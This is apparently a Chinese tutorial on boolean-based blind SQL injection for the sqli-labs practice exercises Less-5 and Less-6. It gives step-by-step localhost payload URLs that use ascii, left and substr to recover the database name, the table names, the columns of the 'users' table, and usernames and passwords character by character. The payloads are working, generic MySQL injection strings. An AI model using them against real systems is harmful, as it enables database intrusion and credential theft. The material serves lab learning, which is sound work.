目录
1.布尔型的注入相比前四关,思路上最大的不同就是通过对错来获取对你来说有用的信息。
5.根据第四步得出表名,推测关键信息表“users”中的列名。
6.可以推测users表中username和password列得具体内容。
1.判断注入点,该关卡与Less5最大得不同在于注入点得改变由单引号改为双引号。
前言
布尔注入通俗的讲就是,页面会回馈两个信息对与错。我们只能根据对和错进行判断。
布尔注入补充:
两个函数:
- LEFT(ARG,LENGTH)、RIGHT(ARG,LENGTH) LEFT、RIGHT函数返回ARG最左边、右边的
LENGTH个字符串,ARG可以是CHAR或BINARY STRING
- substr(strings|express,m,[n])
strings|express :被截取的字符串或字符串表达式
m 从第m个字符开始截取
n 截取后字符串长度为n
一、Less--5
1.布尔型的注入相比前四关,思路上最大的不同就是通过对错来获取对你来说有用的信息。
整体思路与前边相同,你需要用到上边提到的函数来帮助你获取你想要的信息,首先你可以通过判断语句来判断想要获取信息的长度,再根据判断获取单词的一个个字母具体是什么。
1.先找到注入点。
2.先判断数据库长度。
http://localhost/sqlilabs/Less-5/?id=1' and length(database())=8 --+
3.判断数据库名中的每一个字母是什么。
提示:ascii()函数可以将字符转换为对应得ascii码
判断第一位字母(这里可以使用二分法加快效率)是什么。
http://localhost/sqlilabs/Less-5/?id=1' and ascii(left(database(),1))>93 --+
再次判断
http://localhost/sqlilabs/Less-5/?id=1' and ascii(left(database(),1))>108 --+
最终得出结果第一位字母为s(ascii码115)。
http://localhost/sqlilabs/Less-5/?id=1' and ascii(left(database(),1))=115 --+
将left()换位substr() 逐一判断得出数据库名为security。
4.同样得方法测试表名。
测试第一个字母名称e
http://localhost/sqlilabs/Less-5/?id=1' and ascii(left((select group_concat(table_name) from information_schema.tables where table_schema='security'),1))=101 --+
遇到","时 同理
http://localhost/sqlilabs/Less-5/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),7,1))=44 --+
5.根据第四步得出表名,推测关键信息表“users”中的列名。
http://localhost/sqlilabs/Less-5/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=105 --+
6.可以推测users表中username和password列得具体内容。
http://localhost/sqlilabs/Less-5/?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))=68 --+
二、Less--6
1.判断注入点,该关卡与Less5最大得不同在于注入点得改变由单引号改为双引号。
这里偷点懒,我们直接将Less5中最后的plyalod将单引号更换为双引号,验证。
http://localhost/sqlilabs/Less-5/?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))=68 --+